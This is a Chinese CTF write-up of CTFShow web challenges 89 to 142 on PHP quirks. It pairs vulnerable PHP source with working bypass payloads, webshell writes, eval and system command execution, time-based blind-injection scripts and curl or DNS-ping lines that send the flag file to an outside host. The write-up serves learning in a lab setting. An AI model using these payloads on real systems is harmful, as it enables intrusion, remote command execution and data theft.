PHP特性_CTF Show

89

要点:数组绕过preg_match

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
intval — 获取变量的整数值

intval( mixed $value, int $base = 10) : int
通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。 
PHP特性_CTF Show
preg_match — 执行匹配正则表达式

preg_match( string $pattern, string $subject) : int|false
搜索subject与pattern给定的正则表达式的一个匹配. 

$subject不是string类型,而是数组类型时,实现绕过

PHP特性_CTF Show

payload:?num[]=

PHP中使用GET传递数组变量:num[]=""

90

要点:intval特性

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval ( mixed $value , int $base = 10 ) : int

PHP特性_CTF Show

intval(1.1) => 1

payload:?num=010574	#这是8进制的4476

91

要点:绕过正则

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

正则

^ 限定匹配开头
$ 限定匹配结尾

PHP特性_CTF Show

payload:?cmd=p%0Aphp	# %0A 换行

92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
同web90

93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
过滤了字母,也就是限制了16进制绕过的方式,但仍可通过八进制绕过
同web90

94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
intval(1.1)	=> 1
payload: ?num=4476.0

95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
相比上一题,过滤了 . 无法再用小数绕过
同时增加了!strpos($num, "0"),通过添加 + 绕过
故使用八进制,前面加上 + 实现绕过
payload:?num=+010574

96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}
payload: ?u=./flag.php		# ./表示当前目录

97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5需要参数类型为string,使用数组实现绕过
payload:a[]=1&b[]=

98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
逐行解析:
3.	$_GET?$_GET=&$_POST:'flag';

    if ($_GET) {			//只要有输入的get参数
        $_GET = &$_POST; //就将get方法改变为post方法(修改了get方法的地址)
        				// 比如$_GET[a] = &$_POST[a],get传a无作用,必须用POST
    } else {
        "flag";
    }

4、5行无作用

6.	highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

    if ($_GET['HTTP_FLAG'] == 'flag') { //需要满足这个条件就可以输出flag
        highlight_file($flag);			//因为没有ctfshow{xxxxx}这个文件,所以会产生报错
        								//进而我们可以看到flag内容
    } else {
        highlight_file(__FILE__);
    }

PHP特性_CTF Show

99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>
in_array — 检查数组中是否存在某个值

in_array( mixed $needle, array $haystack, bool $strict = false) : bool
大海捞针,在大海(haystack,干草堆)中搜索针( needle),如果没有设置 strict 则使用宽松的比较。 

弱比较,1.php会被当作1
向1.php写入一句话木马,进而得到flag

100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>
is_numeric — 检测变量是否为数字或数字字符串 

is_numeric( mixed $value) : bool
检测指定的变量是否为数字或数字字符串。 
and优先级小于= ,故 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 相当于给v0赋值"v1是否为数字",v2、v3对v0无影响,故只需要v1是数字就行(if($v0))

var_dump()可打印对象
payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>
public ReflectionClass::__construct( mixed $argument)

argument:既可以是包含类名的字符串(string)也可以是对象(object)。 
初始化新的 ReflectionClass 对象。 
返回初始化完成后的 ReflectionClass 实例。 
payload:?v1=0&v2=echo new Reflectionclass&v3=;
hint说flag最后少一位,爆破

102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

?>
hex2bin — 转换十六进制字符串为二进制字符串
注意:这个函数不是 转换十六进制数字为二进制数字。这种转换可以使用base_convert() 函数。

<?php
$hex = hex2bin("6578616d706c65206865782064617461");
var_dump($hex);
?>
以上例程的输出类似于:
string(16) "example hex data"
GET
v2=115044383959474e6864434171594473
&v3=php://filter/write=convert.base64-decode/resource=2.php

POST
v1=hex2bin
#访问1.php后查看源代码获得flag
<?=`cat *`; 经过base64编码成为 PD89YGNhdCAqYDs= ,再经hex编码成为 5044383959474e68644341715944733d ,由于v2必须为数字,所以这一hex字符串中e与d为字母不符合要求,3d可以删除,因为base64解码时少个等号问题不大;当3d删除后,e会被当作科学计数法的标志,v2还是会被认定为数字

再用hex2bin将hex字符串转为二进制字符串(注意不是二进制数字),故可以成为字符串PD89YGNhdCAqYDs

再使用伪协议将其base64解码后变为 <?=`cat *`; 写入文件
php://filter/write=convert.base64-decode/resource=2.php

103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
同上

104

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
1.直接提交俩一样的

2.数组绕过sha1
v2[]=1
v1[]=1

3.
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
变量覆盖
get:?suces=flag
post:error=suces

106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 
见104

107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
1.
?v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b

2.
?v3=240610708
v1=flag=0
md5(v3)=0exxxx ,与0相等
利用科学记数法绕过==

3.
?v3[]=1
v1=		或v1=flag=

108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
} 
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

0x36d==778

?c=a%00778

109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
https://www.bilibili.com/video/BV1Uv411G7u1?p=21&spm_id_from=pageDriver
Exception 异常处理类 http://c.biancheng.net/view/6253.html 

payload: 
?v1=Exception&v2=system('tac *') ?v1=Reflectionclass&v2=system('tac *')

110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
考察:php内置类 
利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd

111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
} 
考察:全局变量
为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS
(直接传v2=flag并不能达到输出$flag的目的,因为函数无法直接访问外部变量)

112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
is_file — 判断给定文件名是否为一个正常的文件
如果文件存在且为正常的文件则返回 true,否则返回 false。
可以使用 封装器、伪协议,返回false

highlight_file、file_get_contents
可以使用 封装器、伪协议
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

113

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file)
{
    if (preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i', $file)) {
        die('hacker!');
    } else {
        return $file;
    }
}
$file = $_GET['file'];
if (!is_file($file)) {
    highlight_file(filter($file));
} else {
    echo "hacker!";
}
1.
compress.zlib://flag.php

2.目录溢出绕过is_file
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
php://filter/resource=flag.php

115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} 
trim( string $str, string $character_mask = " \t\n\r\0\x0B") : string

此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符: 
◦ " " (ASCII 32 (0x20)),普通空格符。  
◦ "\t" (ASCII 9 (0x09)),制表符。  
◦ "\n" (ASCII 10 (0x0A)),换行符。  
◦ "\r" (ASCII 13 (0x0D)),回车符。  
◦ "\0" (ASCII 0 (0x00)),空字节符。  
◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。 

0C没被去除
!=  对标 ==
!== 对标 ===
?num=%0c36

123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
1.
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了,即只替换一次
如 CTF[SHOW.COM=>CTF_SHOW.COM

2.
echo implode(get_included_files())
implode — 将一个一维数组的值转化为字符串
get_included_files — 返回被 include 和 require 文件名的 array

125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 
1.
GET:?1=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

2.
CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me
extract — 从数组中将变量导入到当前的符号表

126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 
1.
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

2.
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

3.
?a=+fl0g=flag_give_me
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

+表示空格,用来分割不同参数

127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}

if($ctf_show==='ilove36d'){
    echo $flag;
} 
?ctf show=ilove36d

php在解析$_SERVER['QUERY_STRING']时,它会做两件事:
    删除空白符
    将某些字符转换为下划线(包括空格)
    
但是,在经过waf时

128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 
考察:gettext扩展
开启扩展后_() 效果合 gettext() 相同

echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo
效果一样
call_user_func('_','phpinfo') 返回的就是phpinfo

flag在flag.php文件中, 可以用 get_defined_vars
?f1=_&f2=get_defined_vars

129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
} 
?f=ctfshow/../flag.php

f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了

130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}
f=ctfshow

通过在 *、+ 或 ? 限定符之后放置 ?,该表达式从"贪婪"表达式转换为"非贪婪"表达式或者最小匹配。
.+表示匹配至少一个任意字符(/s表示.也匹配换行符),后面加上问号表示最小匹配,也就是匹配一个任意字符
详见正则表达式语法

131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 
正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 
在php中正则表达式进行匹配有一定的长度限制,超过限制直接返回false
import requests
url='http://519be21f-fd49-4f7e-8214-5def845261fb.challenge.ctf.show/'
data={
	'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

132

先访问robots.txt,发现admin目录,访问得到源码
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
    }
}
?username=admin&password=&code=admin

133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
} 
?F=`$F` ;ping `cat flag.php|grep ctfshow`.qsdake.dnslog.cn -c 1
要保证截取的六个字符符合语法

截取的字符串为`$F` ;  eval执行该字符串,执行的就是$F,而$F=`$F` ;ping `cat flag.php|grep ctfshow`.qsdake.dnslog.cn -c 1

http://dnslog.cn/
?F=`$F`; curl -d a=`cat flag*|grep ctfshow` http://49.232.xxx.200/post.php

135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

没有过滤mv,cp,ping,nl

?F=`$F`; cp flag.php flag.txt
?F=`$F`; mv flag.php flag.txt
?F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn
?F=`$F `;nl f*>flag.txt

134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
} 
考察: php变量覆盖
?_POST[key1]=36d&_POST[key2]=36d

136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 
tee 从标准输入读取数据并重定向到标准输出和文件。

ls /|tee 1 访问url/1下载发现根目录下有flag 
cat /f149_15_h3r3|tee 2 访问下载
?c=ls|xargs sed -i 's/die/echo/'	# dir修改为echo,使check无效
?c=ls|xargs sed -i 's/exec/system/'	# exex修改为system,直接有回显

139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
# 命令盲注
# 找文件名
import requests

url = 'http://e44538e0-5bb9-4f92-80e9-46ff27067e2e.challenge.ctf.show/?c='
payload = 'if [ `ls / -1 | cut -c {} | awk "NR=={}"` == "{}" ];then sleep 4;fi'

result = ''
row = 5
length = 20
strins = 'qazwsxedcrfvtgbyhnujmikolp1234567890_-'

for r in range(4,row):
	for c in range(1,length):
		for s in strins:
			target = url+payload.format(c,r,s)
			# print(target)
			try:
				requests.get(target,timeout=3)
			except:
				result += s
				print(result)
				break
	result += ' '
# 读取文件内容
import requests

url = 'http://e44538e0-5bb9-4f92-80e9-46ff27067e2e.challenge.ctf.show/?c='
payload = 'if [ `cat /f149_15_h3r3|cut -c {}` == "{}" ];then sleep 3;fi'
result = ''
length = 50
strins = 'ctfshowqazxedrvgbynujmiklp1234567890-' #{}被过滤

for c in range(1,length):
	for s in strins:
		target = url+payload.format(c,s)
		# print(target)
		try:
			requests.get(target,timeout=2)
		except:
			result += s
			print(result)
			break

137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);
ctfshow=ctfshow::getFlag

138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);
<?php

class Foo {
    static public function test() {
        print "Hello world!\n";
    }
}

call_user_func('Foo::test'); // As of PHP 5.3.0
call_user_func(array('Foo', 'test')); // As of PHP 5.3.0
call_user_func(array(new Foo,'test'));
call_user_func(array(new Foo(),'test'));

// 所以可以 ctfshow[0]=ctfshow&ctfshow[1]=getFlag
// ctfshow[0]=new ctfshow或ctfshow[0]=new ctfshow() 无法生效因为他们被认为是普通字符串

140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}
关键点在于$f1($f2())返回值为0,尝试system成功

142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}
?v1=0

141

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
\w:匹配包括下划线的任何单词字符。类似但不等价于“[A-Za-z0-9_]”,这里的"单词"字符使用Unicode字符集。
\W:匹配任何非单词字符。等价于“[^A-Za-z0-9_]”。

PHP中有个特性:

<?php
1+system("whoami");

以上代码可以正常执行whoami,爆warning

<?php
1system("whoami");

以上代码不可以正常执行,爆error

//生成字典
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z]|[0-9]/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
from sys import *
import os

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+';'
   print(param)
?v1=1&v2=2&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");-

?v1=1&v2=2&v3=-("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%00"|"%60%60%60%20%2a");-

143

<?php
highlight_file(__FILE__);
